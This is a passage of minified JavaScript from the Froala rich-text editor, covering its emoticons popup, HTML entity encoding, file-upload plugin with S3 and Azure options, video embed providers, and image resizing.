n(t){i=r.filter(function(e){return e.id===t})[0],function a(){E.popups.get("emoticons").html(o+l());var e=E.popups.get("emoticons").children().not(".fr-buttons");E.accessibility.registerPopup("emoticons"),E.accessibility.focusContent(e)}()},showEmoticonsPopup:function d(){var e=E.popups.get("emoticons");if(e||(e=function i(){E.opts.toolbarInline&&0<E.opts.emoticonsButtons.length&&(o='<div class="fr-buttons fr-emoticons-buttons fr-tabs">'.concat(E.button.buildList(E.opts.emoticonsButtons),"</div>"));var e={buttons:o,custom_layer:l()},t=E.popups.create("emoticons",e);return function a(b){E.events.on("popup.tab",function(e){var t=_(e.currentTarget);if(!E.popups.isVisible("emoticons")||!t.is("span, a"))return!0;var a,n,r,i=e.which,o=window.getComputedStyle(b.find(".fr-icon-container")[0]),s=o.getPropertyValue("grid-template-columns").split(" ").length;if(St.KEYCODE.TAB==i){var l=b.find("span.fr-emoticon");if(t.is(l.first())&&e.shiftKey||t.is("a")&&!e.shiftKey){var c=b.find(".fr-buttons");a=!E.accessibility.focusToolbar(c,!!e.shiftKey)}if(!1!==a){var d=b.find("span.fr-emoticon");d.add(b.find("a.fr-link")),d.add(b.find("button.fr-btn")),n=d.index(t),n=e.shiftKey?((n-1)%d.length+d.length)%d.length:(n+1)%d.length,r=d.get(n),E.events.disableBlur(),r.focus(),a=!1}}else if(St.KEYCODE.ARROW_UP==i||St.KEYCODE.ARROW_DOWN==i||St.KEYCODE.ARROW_LEFT==i||St.KEYCODE.ARROW_RIGHT==i){if(t.is("span.fr-emoticon")){var f=t.parent().find("span.fr-emoticon");n=f.index(t);var p=s,u=Math.ceil(f.length/p),g=n%p,h=Math.floor(n/p),m=h*p+g,v=u*p;St.KEYCODE.ARROW_UP==i?m=((m-p)%v+v)%v:St.KEYCODE.ARROW_DOWN==i?m=(m+p)%v:St.KEYCODE.ARROW_LEFT==i?m=((m-1)%v+v)%v:St.KEYCODE.ARROW_RIGHT==i&&(m=(m+1)%v),r=_(f.get(m)),E.events.disableBlur(),r.focus(),a=!1}}else St.KEYCODE.ENTER==i&&(t.is("a")?t[0].click():E.button.exec(t),a=!1);return!1===a&&(e.preventDefault(),e.stopPropagation()),a},!0)}(t),t}()),!e.hasClass("fr-active")){E.popups.refresh("emoticons"),E.popups.setContainer("emoticons",E.$tb);var t=E.$tb.find('.fr-command[data-cmd="emoticons"]'),a=E.button.getPosition(t),n=a.left,r=a.top;E.popups.show("emoticons",n,r,t.outerHeight()),E.popups.get("emoticons").css("overflow","hidden")}},back:function t(){E.popups.hide("emoticons"),E.toolbar.showInline()}}},St.DefineIcon("emoticons",{NAME:"smile-o",FA5NAME:"smile",SVG_KEY:"smile"}),St.RegisterCommand("emoticons",{title:"Emoticons",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("emoticons")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("emoticons")):this.emoticons.showEmoticonsPopup()},plugin:"emoticons"}),St.RegisterCommand("insertEmoticon",{callback:function(e,t,a){this.emoticons.insert(a,this.opts.emoticonsUseImage?"https://cdnjs.cloudflare.com/ajax/libs/emojione/2.0.1/assets/svg/".concat(t,".svg"):null),this.popups.hide("emoticons")}}),St.RegisterCommand("setEmoticonCategory",{undo:!1,focus:!1,callback:function(e,t){this.emoticons.setEmoticonCategory(t)}}),St.DefineIcon("emoticonsBack",{NAME:"arrow-left",SVG_KEY:"back"}),St.RegisterCommand("emoticonsBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.emoticons.back()}}),Object.assign(St.DEFAULTS,{entities:""'¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿŒœŠšŸƒˆ˜ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρςστυφχψωϑϒϖ   ‌‍‎‏–—‘’‚“”„†‡•…‰′″‹›‾⁄€ℑ℘ℜ™ℵ←↑→↓↔↵⇐⇑⇒⇓⇔∀∂∃∅∇∈∉∋∏∑−∗√∝∞∠∧∨∩∪∫∴∼≅≈≠≡≤≥⊂⊃⊄⊆⊇⊕⊗⊥⋅⌈⌉⌊⌋⟨⟩◊♠♣♥♦"}),St.PLUGINS.entities=function(r){var i,o,s=r.$;function n(e){var t=e.textContent;if(t.match(i)){for(var a="",n=0;n<t.length;n++)o[t[n]]?a+=o[t[n]]:a+=t[n];e.textContent=a}}function l(e){if(e&&0<=["STYLE","SCRIPT","svg","IFRAME"].indexOf(e.tagName))return!0;for(var t=r.node.contents(e),a=0;a<t.length;a++)t[a].nodeType===Node.TEXT_NODE?n(t[a]):l(t[a]);return e.nodeType===Node.TEXT_NODE&&n(e),!1}var c=function c(e){return 0===e.length?"":r.clean.exec(e,l).replace(/\&/g,"&")};return{_init:function d(){r.opts.htmlSimpleAmpersand||(r.opts.entities="".concat(r.opts.entities,"&"));var e=s(document.createElement("div")).html(r.opts.entities).text(),t=r.opts.entities.split(";");o={},i="";for(var a=0;a<e.length;a++){var n=e.charAt(a);o[n]="".concat(t[a],";"),i+="\\".concat(n+(a<e.length-1?"|":""))}i=new RegExp("(".concat(i,")"),"g"),r.events.on("html.get",c,!0)}}},Object.assign(St.POPUP_TEMPLATES,{"file.insert":"[_BUTTONS_][_UPLOAD_LAYER_][_PROGRESS_BAR_]"}),Object.assign(St.DEFAULTS,{fileUpload:!0,fileUploadURL:null,fileUploadParam:"file",fileUploadParams:{},fileUploadToS3:!1,fileUploadToAzure:!1,fileUploadMethod:"POST",fileMaxSize:10485760,fileAllowedTypes:["*"],fileInsertButtons:["fileBack","|"],fileUseSelectedText:!1}),St.PLUGINS.file=function(w){var n,p=w.$,y="https://i.froala.com/upload",u=2,g=3,h=4,A=5,C=6,a={};function T(){var e=w.popups.get("file.insert");e||(e=l()),e.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),e.find(".fr-file-progress-bar-layer").addClass("fr-active"),e.find(".fr-buttons").hide(),r(w.language.translate("Uploading"),0)}function i(e){var t=w.popups.get("file.insert");t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-file-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e&&(w.events.focus(),w.popups.hide("file.insert")))}function r(e,t){var a=w.popups.get("file.insert");if(a){var n=a.find(".fr-file-progress-bar-layer");n.find("h3").text(e+(t?" ".concat(t,"%"):"")),n.removeClass("fr-error"),t?(n.find("div").removeClass("fr-indeterminate"),n.find("div > span").css("width","".concat(t,"%"))):n.find("div").addClass("fr-indeterminate")}}function m(e,t,a,n){var r;w.edit.on(),w.events.focus(!0),w.selection.restore(),w.opts.fileUseSelectedText&&w.selection.text().length&&(t=w.selection.text());var i='<a href="'.concat(e,'" id="fr-inserted-file" ');if(void 0!==n)for(r in n)n.hasOwnProperty(r)&&"link"!=r&&(i+="".concat(r,'="').concat(n[r],'" '));-1==i.indexOf(' class="')&&(i+='class="fr-file" '),i+=">".concat(t,"</a>"),w.html.insert(i);var o=w.$el.find("#fr-inserted-file");o.removeAttr("id"),w.popups.hide("file.insert"),w.undo.saveStep(),d(),w.events.trigger("file.inserted",[o,a])}function k(e,t,a){var n=this.status,r=this.response,i=this.responseXML,o=this.responseText;try{if(w.opts.fileUploadToS3||w.opts.fileUploadToAzure)if(201===n){var s;if(w.opts.fileUploadToAzure){if(!1===w.events.trigger("file.uploadedToAzure",[this.responseURL,a,r],!0))return w.edit.on(),!1;s=t}else s=function c(e){try{var t=p(e).find("Location").text(),a=p(e).find("Key").text();return!1===w.events.trigger("file.uploadedToS3",[t,a,e],!0)?(w.edit.on(),!1):t}catch(n){return L(h,e),!1}}(i);s&&m(s,e,r||i)}else L(h,r||i);else if(200<=n&&n<300){var l=function d(e){try{if(!1===w.events.trigger("file.uploaded",[e],!0))return w.edit.on(),!1;var t=JSON.parse(e);return t.link?t:(L(u,e),!1)}catch(a){return L(h,e),!1}}(o);l&&m(l.link,e,r||o,l)}else L(g,r||o)}catch(f){L(h,r||o)}}function S(){L(h,this.response||this.responseText||this.responseXML)}function R(e){if(e.lengthComputable){var t=e.loaded/e.total*100|0;r(w.language.translate("Uploading"),t)}}function L(e,t){w.edit.on(),function n(e){T();var t=w.popups.get("file.insert").find(".fr-file-progress-bar-layer");t.addClass("fr-error");var a=t.find("h3");a.text(e),w.events.disableBlur(),a.focus()}(w.language.translate("Something went wrong. Please try again.")),w.events.trigger("file.error",[{code:e,message:a[e]},t])}function x(){w.edit.on(),i(!0)}function o(e){if(void 0!==e&&0<e.length){var t=e[0].type;if(e[0].name&&e[0].name.endsWith(".msg")&&(t="application/vnd.ms-outlook"),!1===w.events.trigger("file.beforeUpload",[e]))return!1;var a,n=e[0];if(!(null!==w.opts.fileUploadURL&&w.opts.fileUploadURL!==y||w.opts.fileUploadToS3||w.opts.fileUploadToAzure))return function _(i){var o=new FileReader;o.onload=function(){for(var e=o.result,t=atob(o.result.split(",")[1]),a=[],n=0;n<t.length;n++)a.push(t.charCodeAt(n));var r=i.type;i.name&&i.name.endsWith(".msg")&&(r="application/vnd.ms-outlook"),e=window.URL.createObjectURL(new Blob([new Uint8Array(a)],{type:r})),w.file.insert(e,i.name,null)},T(),o.readAsDataURL(i)}(n),!1;if(n.size>w.opts.fileMaxSize)return L(A),!1;if(w.opts.fileAllowedTypes.indexOf("*")<0&&w.opts.fileAllowedTypes.indexOf(t.replace(/file\//g,""))<0)return L(C),!1;if(w.drag_support.formdata&&(a=w.drag_support.formdata?new FormData:null),a){var r;if(!1!==w.opts.fileUploadToS3)for(r in a.append("key",w.opts.fileUploadToS3.keyStart+(new Date).getTime()+"-"+(n.name||"untitled")),a.append("success_action_status","201"),a.append("X-Requested-With","xhr"),a.append("Content-Type",t),w.opts.fileUploadToS3.params)w.opts.fileUploadToS3.params.hasOwnProperty(r)&&a.append(r,w.opts.fileUploadToS3.params[r]);for(r in w.opts.fileUploadParams)w.opts.fileUploadParams.hasOwnProperty(r)&&a.append(r,w.opts.fileUploadParams[r]);a.append(w.opts.fileUploadParam,n);var i,o,s=w.opts.fileUploadURL;w.opts.fileUploadToS3&&(s=w.opts.fileUploadToS3.uploadURL?w.opts.fileUploadToS3.uploadURL:"https://".concat(w.opts.fileUploadToS3.region,".amazonaws.com/").concat(w.opts.fileUploadToS3.bucket));var l=w.opts.fileUploadMethod;w.opts.fileUploadToAzure&&(s=w.opts.fileUploadToAzure.uploadURL?"".concat(w.opts.fileUploadToAzure.uploadURL,"/").concat(n.name):encodeURI("https://".concat(w.opts.fileUploadToAzure.account,".blob.core.windows.net/").concat(w.opts.fileUploadToAzure.container,"/").concat(n.name)),i=s,w.opts.fileUploadToAzure.SASToken&&(s+=w.opts.fileUploadToAzure.SASToken),l="PUT");var c=w.core.getXHR(s,l);if(w.opts.fileUploadToAzure){var d=(new Date).toUTCString();if(!w.opts.fileUploadToAzure.SASToken&&w.opts.fileUploadToAzure.accessKey){var f=w.opts.fileUploadToAzure.account,p=w.opts.fileUploadToAzure.container;if(w.opts.fileUploadToAzure.uploadURL){var u=w.opts.fileUploadToAzure.uploadURL.split("/");p=u.pop(),f=u.pop().split(".")[0]}var g="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(d,"\nx-ms-version:2019-07-07"),h=encodeURI("/"+f+"/"+p+"/"+n.name),m=l+"\n\n\n"+n.size+"\n\n"+t+"\n\n\n\n\n\n\n"+g+"\n"+h,v=w.cryptoJSPlugin.cryptoJS.HmacSHA256(m,w.cryptoJSPlugin.cryptoJS.enc.Base64.parse(w.opts.fileUploadToAzure.accessKey)).toString(w.cryptoJSPlugin.cryptoJS.enc.Base64),b="SharedKey "+f+":"+v;o=v,c.setRequestHeader("Authorization",b)}for(r in c.setRequestHeader("x-ms-version","2019-07-07"),c.setRequestHeader("x-ms-date",d),c.setRequestHeader("Content-Type",t),c.setRequestHeader("x-ms-blob-type","BlockBlob"),w.opts.fileUploadParams)w.opts.fileUploadParams.hasOwnProperty(r)&&c.setRequestHeader(r,w.opts.fileUploadParams[r]);for(r in w.opts.fileUploadToAzure.params)w.opts.fileUploadToAzure.params.hasOwnProperty(r)&&c.setRequestHeader(r,w.opts.fileUploadToAzure.params[r])}c.onload=function(){k.call(c,n.name,i,o)},c.onerror=S,c.upload.onprogress=R,c.onabort=x,T();var E=w.popups.get("file.insert");E&&(E.off("abortUpload"),E.on("abortUpload",function(){4!==c.readyState&&c.abort()})),c.send(w.opts.fileUploadToAzure?n:a)}}}function s(){i()}function l(e){if(e)return w.popups.onHide("file.insert",s),!0;var t;w.opts.fileUpload||w.opts.fileInsertButtons.splice(w.opts.fileInsertButtons.indexOf("fileUpload"),1),t='<div class="fr-buttons fr-tabs">'.concat(w.button.buildList(w.opts.fileInsertButtons),"</div>");var a="";w.opts.fileUpload&&(a='<div class="fr-file-upload-layer fr-layer fr-active" id="fr-file-upload-layer-'.concat(w.id,'"><strong>').concat(w.language.translate("Drop file"),"</strong><br>(").concat(w.language.translate("or click"),')<div class="fr-form"><input type="file" name="').concat(w.opts.fileUploadParam,'" accept="').concat(0<=w.opts.fileAllowedTypes.indexOf("*")?"/":"").concat(w.opts.fileAllowedTypes.join(", ").toLowerCase(),'" tabIndex="-1" aria-labelledby="fr-file-upload-layer-').concat(w.id,'" role="button"></div></div>'));var n={buttons:t,upload_layer:a,progress_bar:'<div class="fr-file-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="fileDismissError" tabIndex="2" role="button">OK</button></div></div>'},r=w.popups.create("file.insert",n);return function i(a){w.events.$on(a,"dragover dragenter",".fr-file-upload-layer",function(){return p(this).addClass("fr-drop"),!1},!0),w.events.$on(a,"dragleave dragend",".fr-file-upload-layer",function(){return p(this).removeClass("fr-drop"),!1},!0),w.events.$on(a,"drop",".fr-file-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),p(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;t&&t.files&&(a.data("instance")||w).file.upload(t.files)},!0),w.helpers.isIOS()&&w.events.$on(a,"touchstart",'.fr-file-upload-layer input[type="file"]',function(){p(this).trigger("click")}),w.events.$on(a,"change",'.fr-file-upload-layer input[type="file"]',function(){if(this.files){var e=a.data("instance")||w;e.events.disableBlur(),a.find("input:focus").blur(),e.events.enableBlur(),e.file.upload(this.files)}p(this).val("")},!0)}(r),r}function t(e){w.node.hasClass(e,"fr-file")}function c(e){var t=e.originalEvent.dataTransfer;if(t&&t.files&&t.files.length){var a=t.files[0];if(a&&"undefined"!=typeof a.type){if(a.type.indexOf("image")<0){if(!w.opts.fileUpload)return e.preventDefault(),e.stopPropagation(),!1;w.markers.remove(),w.markers.insertAtPoint(e.originalEvent),w.$el.find(".fr-marker").replaceWith(St.MARKERS),w.popups.hideAll();var n=w.popups.get("file.insert");return n||(n=l()),w.popups.setContainer("file.insert",w.$sc),w.popups.show("file.insert",e.originalEvent.pageX,e.originalEvent.pageY),T(),o(t.files),e.preventDefault(),e.stopPropagation(),!1}}else a.type.indexOf("image")<0&&(e.preventDefault(),e.stopPropagation())}}function d(){var e,t=Array.prototype.slice.call(w.el.querySelectorAll("a.fr-file")),a=[];for(e=0;e<t.length;e++)a.push(t[e].getAttribute("href"));if(n)for(e=0;e<n.length;e++)a.indexOf(n[e].getAttribute("href"))<0&&w.events.trigger("file.unlink",[n[e]]);n=t}return a[1]="File cannot be loaded from the passed link.",a[u]="No link in upload response.",a[g]="Error during file upload.",a[h]="Parsing response failed.",a[A]="File is too large.",a[C]="File file type is invalid.",a[7]="Files can be uploaded only to same domain in IE 8 and IE 9.",{_init:function f(){!function e(){w.events.on("drop",c),w.events.$on(w.$win,"keydown",function(e){var t=e.which,a=w.popups.get("file.insert");a&&t===St.KEYCODE.ESC&&a.trigger("abortUpload")}),w.events.on("destroy",function(){var e=w.popups.get("file.insert");e&&e.trigger("abortUpload")})}(),w.events.on("link.beforeRemove",t),w.$wp&&(d(),w.events.on("contentChanged",d)),l(!0)},showInsertPopup:function v(){var e=w.$tb.find('.fr-command[data-cmd="insertFile"]'),t=w.popups.get("file.insert");if(t||(t=l()),i(),!t.hasClass("fr-active"))if(w.popups.refresh("file.insert"),w.popups.setContainer("file.insert",w.$tb),e.isVisible){var a=w.button.getPosition(e),n=a.left,r=a.top;w.popups.show("file.insert",n,r,e.outerHeight())}else w.position.forSelection(t),w.popups.show("file.insert")},upload:o,insert:m,back:function e(){w.events.disableBlur(),w.selection.restore(),w.events.enableBlur(),w.popups.hide("file.insert"),w.toolbar.showInline()},hideProgressBar:i}},St.DefineIcon("insertFile",{NAME:"file-o",FA5NAME:"file",SVG_KEY:"insertFile"}),St.RegisterCommand("insertFile",{title:"Upload File",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("file.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("file.insert")):this.file.showInsertPopup()},plugin:"file"}),St.DefineIcon("fileBack",{NAME:"arrow-left",SVG_KEY:"back"}),St.RegisterCommand("fileBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.file.back()},refresh:function(e){this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}}),St.RegisterCommand("fileDismissError",{title:"OK",callback:function(){this.file.hideProgressBar(!0)}}),Object.assign(St.POPUP_TEMPLATES,{"filesManager.insert":"[_BUTTONS_][_UPLOAD_LAYER_][_BY_URL_LAYER_][_EMBED_LAYER_][_UPLOAD_PROGRESS_LAYER_][_PROGRESS_BAR_]","image.edit":"[_BUTTONS_]","image.alt":"[_BUTTONS_][_ALT_LAYER_]","image.size":"[_BUTTONS_][_SIZE_LAYER_]"}),Object.assign(St.DEFAULTS,{filesInsertButtons:["imageBack","|","filesUpload","filesByURL","filesEmbed"],filesInsertButtons2:["deleteAll","insertAll","cancel","minimize"],imageEditButtons:["imageReplace","imageAlign","imageCaption","imageRemove","imageLink","linkOpen","linkEdit","linkRemove","-","imageDisplay","imageStyle","imageAlt","imageSize"],imageAltButtons:["imageBack","|"],imageSizeButtons:["imageBack","|"],imageUpload:!0,filesManagerUploadURL:null,imageCORSProxy:"https://cors-anywhere.froala.com",imageUploadRemoteUrls:!0,filesManagerUploadParam:"file",filesManagerUploadParams:{},googleOptions:{},filesManagerUploadToS3:!1,filesManagerUploadToAzure:!1,filesManagerUploadMethod:"POST",filesManagerMaxSize:10485760,filesManagerAllowedTypes:["*"],imageResize:!0,imageResizeWithPercent:!1,imageRoundPercent:!1,imageDefaultWidth:300,imageDefaultAlign:"center",imageDefaultDisplay:"block",imageSplitHTML:!1,imageStyles:{"fr-rounded":"Rounded","fr-bordered":"Bordered","fr-shadow":"Shadow"},imageMove:!0,imageMultipleStyles:!0,imageTextNear:!0,imagePaste:!0,imagePasteProcess:!1,imageMinWidth:16,imageOutputSize:!1,imageDefaultMargin:5,imageAddNewLine:!1}),St.VIDEO_PROVIDERS=[{test_regex:/^.*((youtu.be)|(youtube.com))\/((v\/)|(\/u\/\w\/)|(embed\/)|(watch\?))?\??v?=?([^#\&\?]*).*/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=|embed\/)?([0-9a-zA-Z_\-]+)(.+)?/g,url_text:"https://www.youtube.com/embed/$1?$2",html:'<iframe width="640" height="360" src="{url}&wmode=opaque" frameborder="0" allowfullscreen></iframe>',provider:"youtube"},{test_regex:/^.*(?:vimeo.com)\/(?:channels(\/\w+\/)?|groups\/*\/videos\/\u200b\d+\/|video\/|)(\d+)(?:$|\/|\?)/,url_regex:/(?:https?:\/\/)?(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/(?:[^\/]*)\/videos\/|album\/(?:\d+)\/video\/|video\/|)(\d+)(?:[a-zA-Z0-9_\-]+)?(\/[a-zA-Z0-9_\-]+)?/i,url_text:"https://player.vimeo.com/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vimeo"},{test_regex:/^.+(dailymotion.com|dai.ly)\/(video|hub)?\/?([^_]+)[^#]*(#video=([^_&]+))?/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:dailymotion\.com|dai\.ly)\/(?:video|hub)?\/?(.+)/g,url_text:"https://www.dailymotion.com/embed/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"dailymotion"},{test_regex:/^.+(screen.yahoo.com)\/[^_&]+/,url_regex:"",url_text:"",html:'<iframe width="640" height="360" src="{url}?format=embed" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"yahoo"},{test_regex:/^.+(rutube.ru)\/[^_&]+/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:rutube\.ru)\/(?:video)?\/?(.+)/g,url_text:"https://rutube.ru/play/embed/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"rutube"},{test_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/,url_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/g,url_text:"https://play.vidyard.com/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vidyard"}],St.VIDEO_EMBED_REGEX=/^\W*((<iframe(.|\n)*>(\s|\n)*<\/iframe>)|(<embed(.|\n)*>))\W*$/i,St.IMAGE_EMBED_REGEX=/^\W*((<img(.|\n)*>(\s|\n)*))\W*$/i,St.IMAGE_TYPE="image/png",St.IMAGE_ALLOW_REGEX=/\.(gif|jpe?g|tiff?|png|webp|bmp)$/i,St.PLUGINS.filesManager=function(R){var w,o,L,l,c,d,s,f,x=R.$,y="https://i.froala.com/upload",p=!1,t=!1,I=new Map,O=new Map,A=new Map,C=new Map,F=new Map,T=new Map,i=0,r=[],u=-1,M=[],g=0,h=["file","image","imageTUI","video"],D=1,m=2,k=3,S=4,N=5,P=6,B=10,U=["video/avi","video/mpeg","video/x-ms-wmv"],v={};function b(){var e=R.popups.get("filesManager.insert"),t=e.find(".fr-files-by-url-layer input");t.val(""),e.find(".fr-files-embed-layer textarea").val("").trigger("change"),t.trigger("change")}function E(e){var t;R.hasOwnProperty("imageTUI")||(s="fr-disabled"),T.forEach(function(e,t){X(t)}),_()?(t=R.popups.get("filesManager.insert"))||(t=He()):(t=R.popups.get("filesManager.insert"))||(t=function o(){var e="<div style= 'padding:10px'>\n <div class = 'fr-message'><h3 style ='font-size: 16px; margin: 10px 10px;font-weight: normal;'>".concat(R.language.translate(function n(){var e="",t=function a(){var t=[];return h.forEach(function(e){R.opts.pluginsEnabled.indexOf(e)<0&&t.push(e.charAt(0).toUpperCase()+e.slice(1))}),t}();e=t.join(", "),1<t.length?e+=" plugin are":e+=" plugin is";return e}()+" not enabled. Do you want to enable?"),"</h3></div>\n <div style='text-align:right;'>\n <button class='fr-trim-button fr-plugins-enable'>").concat(R.language.translate("Enable"),"</button> \n <button class='fr-trim-button fr-plugins-cancel'>").concat(R.language.translate("Cancel"),"</button>\n </div>"),t={buttons:'<div class="fr-buttons fr-tabs"></div>',upload_layer:e,by_url_layer:"",embed_layer:"",upload_progress_layer:"",progress_bar:""},a=R.popups.create("filesManager.insert",t);return Fe(a),a}());var a=R.$tb.find('.fr-command[data-cmd="insertFiles"]');if(J(),e||!t.hasClass("fr-active"))if(e||Z(),R.popups.refresh("filesManager.insert"),R.popups.setContainer("filesManager.insert",R.$tb),a.isVisible()){var n=R.button.getPosition(a,I.size),r=n.left,i=n.top;R.popups.show("filesManager.insert",r,i,a.outerHeight())}else R.position.forSelection(t),R.popups.show("filesManager.insert");R.popups.setPopupDimensions(t),_()&&R.popups.setFileListHeight(t),t.find(".fr-upload-progress")&&0==I.size&&t.find(".fr-upload-progress").addClass("fr-none")}function _(){var t=!0;return h.forEach(function(e){R.opts.pluginsEnabled.indexOf(e)<0&&(t=!1)}),t}function H(){J()}function $(){if(l||function o(){var e;R.shared.$image_resizer?(l=R.shared.$image_resizer,d=R.shared.$img_overlay,R.events.on("destroy",function(){x("body").first().append(l.removeClass("fr-active"))},!0)):(R.shared.$image_resizer=x(document.createElement("div")).attr("class","fr-image-resizer"),l=R.shared.$image_resizer,R.events.$on(l,"mousedown",function(e){e.stopPropagation()},!0),R.opts.imageResize&&(l.append(z("nw")+z("ne")+z("sw")+z("se")),R.shared.$img_overlay=x(document.createElement("div")).attr("class","fr-image-overlay"),d=R.shared.$img_overlay,e=l.get(0).ownerDocument,x(e).find("body").first().append(d)));R.events.on("shared.destroy",function(){l.html("").removeData().remove(),l=null,R.opts.imageResize&&(d.remove(),d=null)},!0),R.helpers.isMobile()||R.events.$on(x(R.o_win),"resize",function(){w&&!w.hasClass("fr-uploading")?at(!0):w&&($(),replace(),Q(!1))});if(R.opts.imageResize){e=l.get(0).ownerDocument,R.events.$on(l,R._mousedown,".fr-handler",W),R.events.$on(x(e),R._mousemove,G),R.events.$on(x(e.defaultView||e.parentWindow),R._mouseup,V),R.events.$on(d,"mouseleave",V);var n=1,r=null,i=0;R.events.on("keydown",function(e){if(w){var t=-1!=navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,a=e.which;(a!==r||200<e.timeStamp-i)&&(n=1),(a==St.KEYCODE.EQUALS||R.browser.mozilla&&a==St.KEYCODE.FF_EQUALS)&&t&&!e.altKey?n=je.call(this,e,1,1,n):(a==St.KEYCODE.HYPHEN||R.browser.mozilla&&a==St.KEYCODE.FF_HYPHEN)&&t&&!e.altKey?n=je.call(this,e,2,-1,n):R.keys.ctrlKey(e)||a!=St.KEYCODE.ENTER||(w.before("<br>"),Ae(w)),r=a,i=e.timeStamp}},!0),R.events.on("keyup",function(){n=1})}}(),!w)return!1;var e=R.$wp||R.$sc;e.append(l),l.data("instance",R);var t=e.scrollTop()-("static"!=e.css("position")?e.offset().top:0),a=e.scrollLeft()-("static"!=e.css("position")?e.offset().left:0);a-=R.helpers.getPX(e.css("border-left-width")),t-=R.helpers.getPX(e.css("border-top-width")),R.$el.is("img")&&R.$sc.is("body")&&(a=t=0);var n=lt();ct()&&(n=n.find(".fr-img-wrap"));var r=0,i=0;R.opts.iframe&&(r=R.helpers.getPX(R.$wp.find(".fr-iframe").css("padding-top")),i=R.helpers.getPX(R.$wp.find(".fr-iframe").css("padding-left"))),l.css("top",(R.opts.iframe?n.offset().top+r:n.offset().top+t)-1).css("left",(R.opts.iframe?n.offset().left+i:n.offset().left+a)-1).css("width",n.get(0).getBoundingClientRect().width).css("height",n.get(0).getBoundingClientRect().height).addClass("fr-active")}function z(e){return'<div class="fr-handler fr-h'.concat(e,'"></div>')}function K(e){ct()?w.parents(".fr-img-caption").css("width",e):w.css("width",e)}function W(e){if(!R.core.sameInstance(l))return!0;if(e.preventDefault(),e.stopPropagation(),R.$el.find("img.fr-error").left)return!1;R.undo.canDo()||R.undo.saveStep();var t=e.pageX||e.originalEvent.touches[0].pageX;if("mousedown"==e.type){var a=R.$oel.get(0).ownerDocument,n=a.defaultView||a.parentWindow,r=!1;try{r=n.location!=n.parent.location&&!(n.$&&n.$.FE)}catch(s){}r&&n.frameElement&&(t+=R.helpers.getPX(x(n.frameElement).offset().left)+n.frameElement.clientLeft)}(c=x(this)).data("start-x",t),c.data("start-width",w.width()),c.data("start-height",w.height());var i=w.width();if(R.opts.imageResizeWithPercent){var o=w.parentsUntil(R.$el,R.html.blockTagsQuery()).get(0)||R.el;i=(i/x(o).outerWidth()*100).toFixed(2)+"%"}K(i),d.show(),R.popups.hideAll(),it()}function G(e){if(!R.core.sameInstance(l))return!0;var t;if(c&&w){if(e.preventDefault(),R.$el.find("img.fr-error").left)return!1;var a=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null);if(!a)return!1;var n=a-c.data("start-x"),r=c.data("start-width");if((c.hasClass("fr-hnw")||c.hasClass("fr-hsw"))&&(n=0-n),R.opts.imageResizeWithPercent){var i=w.parentsUntil(R.$el,R.html.blockTagsQuery()).get(0)||R.el;r=((r+n)/x(i).outerWidth()*100).toFixed(2),R.opts.imageRoundPercent&&(r=Math.round(r)),K("".concat(r,"%")),(t=ct()?(R.helpers.getPX(w.parents(".fr-img-caption").css("width"))/x(i).outerWidth()*100).toFixed(2):(R.helpers.getPX(w.css("width"))/x(i).outerWidth()*100).toFixed(2))===r||R.opts.imageRoundPercent||K("".concat(t,"%")),w.css("height","").removeAttr("height")}else r+n>=R.opts.imageMinWidth&&(K(r+n),t=ct()?R.helpers.getPX(w.parents(".fr-img-caption").css("width")):R.helpers.getPX(w.css("width"))),t!==r+n&&K(t),((w.attr("style")||"").match(/(^height:)|(; *height:)/)||w.attr("height"))&&(w.css("height",c.data("start-height")*w.width()/c.data("start-width")),w.removeAttr("height"));$(),R.events.trigger("image.resize",[st()])}}function 